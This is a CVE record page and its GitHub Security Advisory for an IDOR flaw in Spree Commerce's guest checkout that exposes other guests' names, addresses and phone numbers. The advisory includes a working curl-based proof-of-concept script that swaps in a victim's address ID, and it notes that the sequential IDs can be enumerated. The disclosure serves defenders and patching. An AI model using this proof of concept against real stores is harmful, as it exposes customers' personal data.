← Back
2026-02-06 21:29CVE-2026-25758GitHub_M
PUBLISHED5.2CWE-639CWE-284

Spree allows unauthenticated users can access all guest addresses

Spree is an open source e-commerce solution built with Ruby on Rails. A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions. This vulnerability is fixed in 4.10.3, 5.0.8, 5.1.10, 5.2.7, and 5.3.2.

Problem type

Affected products

spree

spree

< 4.10.3 - AFFECTED

>= 5.0.0, < 5.0.8 - AFFECTED

>= 5.1.0.beta, < 5.1.10 - AFFECTED

>= 5.2.0.rc1, < 5.2.7 - AFFECTED

>= 5.3.0.rc2, < 5.3.2 - AFFECTED

References

https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6

https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6

x_refsource_CONFIRM
https://github.com/spree/spree/commit/15619618e43b367617ec8d2d4aafc5e54fa7b734

https://github.com/spree/spree/commit/15619618e43b367617ec8d2d4aafc5e54fa7b734

x_refsource_MISC
https://github.com/spree/spree/commit/29282d1565ba4f7bc2bbc47d550e2c0c6d0ae59f

https://github.com/spree/spree/commit/29282d1565ba4f7bc2bbc47d550e2c0c6d0ae59f

x_refsource_MISC
https://github.com/spree/spree/commit/6650f96356faa0d16c05bcb516f1ffd5641741b8

https://github.com/spree/spree/commit/6650f96356faa0d16c05bcb516f1ffd5641741b8

x_refsource_MISC
https://github.com/spree/spree/commit/902d301ac83fd2047db1b9a3a99545162860f748

https://github.com/spree/spree/commit/902d301ac83fd2047db1b9a3a99545162860f748

x_refsource_MISC
https://github.com/spree/spree/commit/ff7cfcfcfe0c40c60d03317e1d0ee361c6a6b054

https://github.com/spree/spree/commit/ff7cfcfcfe0c40c60d03317e1d0ee361c6a6b054

x_refsource_MISC
https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38

https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38

x_refsource_MISC
https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254

https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254

x_refsource_MISC
https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48

https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48

x_refsource_MISC
https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96

https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96

x_refsource_MISC

GitHub Security Advisories

GHSA-87fh-rc96-6fr6

Unauthenticated Spree Commerce users can access all guest addresses

https://github.com/advisories/GHSA-87fh-rc96-6fr6

Summary

A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions.

Impact

This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).

Unauthenticated users can access all guest addresses (GHSL-2026-027)

The vulnerability stems from incomplete authorization validation in Spree's checkout address assignment logic. While nested address attributes (bill_address_attributes[id] and ship_address_attributes[id]) are properly validated through validate_address_ownership, plain ID parameters (bill_address_id and ship_address_id) bypass this check entirely. Since Spree's address IDs are sequential numbers, an attacker might get all guest addresses by simply enumerating over them.

Affected Code Components

  1. Permitted Attributes (core/lib/spree/permitted_attributes.rb:92–96)

    • Allows bill_address_id and ship_address_id as permitted parameters without validation

  2. Checkout Update (core/app/models/spree/order/checkout.rb:241–254)

    • Applies permitted parameters directly to the Order model via update_from_params

  3. Incomplete Ownership Validation (core/app/services/spree/checkout/update.rb:33–48)

    • validate_address_ownership only validates nested attributes structure
    • Does NOT validate plain bill_address_id/ship_address_id fields

  4. Vulnerable Assignment Logic (core/app/models/spree/order/address_book.rb:16–23, 31–38)

Both setters check that: address.user_id == order.user_id. For guest orders: nil == nil → TRUE ✓ (bypass!)

Proof of Concept

Precondition: One guest address has to exist in Spree's database. (E.g. Create an order with a guest account and note the ID from the spree_addresses table. E.g. 3)

As a guest user:

  1. Put one product in the cart and go to checkout.
  2. Fill in some address/phone number and continue.
  3. Modify this script containing a curl request with current values.
#!/bin/bash

ATTACKER_ORDER_TOKEN="" # Taken from the URL
VICTIM_ADDRESS_ID="3" # As noted from the database
CSRF_TOKEN="" # From page source; `content` value from meta param `csrf-token`.
SESSION_COOKIE="token=...; _my_store_session=..." # from the browsers cookie store.

curl -i -X POST \
  -H "x-csrf-token: ${CSRF_TOKEN}" \
  -H "Content-Type: application/x-www-form-urlencoded;charset=UTF-8" \
  -b "${SESSION_COOKIE}" \
  --data-urlencode "_method=patch" \
  --data-urlencode "authenticity_token=${CSRF_TOKEN}" \
  --data-urlencode "order[ship_address_id]=${VICTIM_ADDRESS_ID}" \
  "http://localhost:3000/checkout/${ATTACKER_ORDER_TOKEN}/update/address"

Expected Result: Attacker's order now references victim's address. Through that the attacker has all address details in full display. This can be verified by accessing /checkout/${ATTACKER_ORDER_TOKEN}/delivery in the same browser where you created the new guest cart.

Impact

This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).

CWEs

  • CWE-639: Authorization Bypass Through User-Controlled Key
  • CWE-284: Improper Access Control

Credit

This issue was discovered with the GitHub Security Lab Taskflow Agent and manually verified by GHSL team members @p- (Peter Stöckli) and @m-y-mo (Man Yue Mo).

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

github.com

https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6

github.com

https://github.com/spree/spree/commit/15619618e43b367617ec8d2d4aafc5e54fa7b734

github.com

https://github.com/spree/spree/commit/29282d1565ba4f7bc2bbc47d550e2c0c6d0ae59f

github.com

https://github.com/spree/spree/commit/6650f96356faa0d16c05bcb516f1ffd5641741b8

github.com

https://github.com/spree/spree/commit/902d301ac83fd2047db1b9a3a99545162860f748

github.com

https://github.com/spree/spree/commit/ff7cfcfcfe0c40c60d03317e1d0ee361c6a6b054

github.com

https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38

github.com

https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254

github.com

https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48

github.com

https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96

nvd.nist.gov

https://nvd.nist.gov/vuln/detail/CVE-2026-25758

github.com

https://github.com/advisories/GHSA-87fh-rc96-6fr6

JSON source

https://cveawg.mitre.org/api/cve/CVE-2026-25758
Click to expand
{
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "cveMetadata": {
    "cveId": "CVE-2026-25758",
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "dateUpdated": "2026-02-06T21:29:20.846Z",
    "dateReserved": "2026-02-05T18:35:52.357Z",
    "datePublished": "2026-02-06T21:29:20.846Z",
    "state": "PUBLISHED"
  },
  "containers": {
    "cna": {
      "providerMetadata": {
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M",
        "dateUpdated": "2026-02-06T21:29:20.846Z"
      },
      "title": "Spree allows unauthenticated users can access all guest addresses",
      "descriptions": [
        {
          "lang": "en",
          "value": "Spree is an open source e-commerce solution built with Ruby on Rails. A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions. This vulnerability is fixed in 4.10.3, 5.0.8, 5.1.10, 5.2.7, and 5.3.2."
        }
      ],
      "affected": [
        {
          "vendor": "spree",
          "product": "spree",
          "versions": [
            {
              "version": "< 4.10.3",
              "status": "affected"
            },
            {
              "version": ">= 5.0.0, < 5.0.8",
              "status": "affected"
            },
            {
              "version": ">= 5.1.0.beta, < 5.1.10",
              "status": "affected"
            },
            {
              "version": ">= 5.2.0.rc1, < 5.2.7",
              "status": "affected"
            },
            {
              "version": ">= 5.3.0.rc2, < 5.3.2",
              "status": "affected"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "lang": "en",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "cweId": "CWE-639",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "lang": "en",
              "description": "CWE-284: Improper Access Control",
              "cweId": "CWE-284",
              "type": "CWE"
            }
          ]
        }
      ],
      "references": [
        {
          "url": "https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6",
          "name": "https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6",
          "tags": [
            "x_refsource_CONFIRM"
          ]
        },
        {
          "url": "https://github.com/spree/spree/commit/15619618e43b367617ec8d2d4aafc5e54fa7b734",
          "name": "https://github.com/spree/spree/commit/15619618e43b367617ec8d2d4aafc5e54fa7b734",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/spree/spree/commit/29282d1565ba4f7bc2bbc47d550e2c0c6d0ae59f",
          "name": "https://github.com/spree/spree/commit/29282d1565ba4f7bc2bbc47d550e2c0c6d0ae59f",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/spree/spree/commit/6650f96356faa0d16c05bcb516f1ffd5641741b8",
          "name": "https://github.com/spree/spree/commit/6650f96356faa0d16c05bcb516f1ffd5641741b8",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/spree/spree/commit/902d301ac83fd2047db1b9a3a99545162860f748",
          "name": "https://github.com/spree/spree/commit/902d301ac83fd2047db1b9a3a99545162860f748",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/spree/spree/commit/ff7cfcfcfe0c40c60d03317e1d0ee361c6a6b054",
          "name": "https://github.com/spree/spree/commit/ff7cfcfcfe0c40c60d03317e1d0ee361c6a6b054",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38",
          "name": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254",
          "name": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48",
          "name": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48",
          "tags": [
            "x_refsource_MISC"
          ]
        },
        {
          "url": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96",
          "name": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96",
          "tags": [
            "x_refsource_MISC"
          ]
        }
      ],
      "metrics": [
        {}
      ]
    }
  }
}